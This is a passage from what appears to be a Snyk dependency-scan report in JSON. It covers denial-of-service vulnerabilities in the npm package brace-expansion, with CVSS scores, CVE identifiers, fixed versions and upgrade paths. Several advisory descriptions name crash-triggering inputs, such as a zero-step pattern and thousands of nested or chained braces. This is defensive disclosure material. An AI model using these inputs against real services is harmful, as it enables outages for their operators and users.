"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
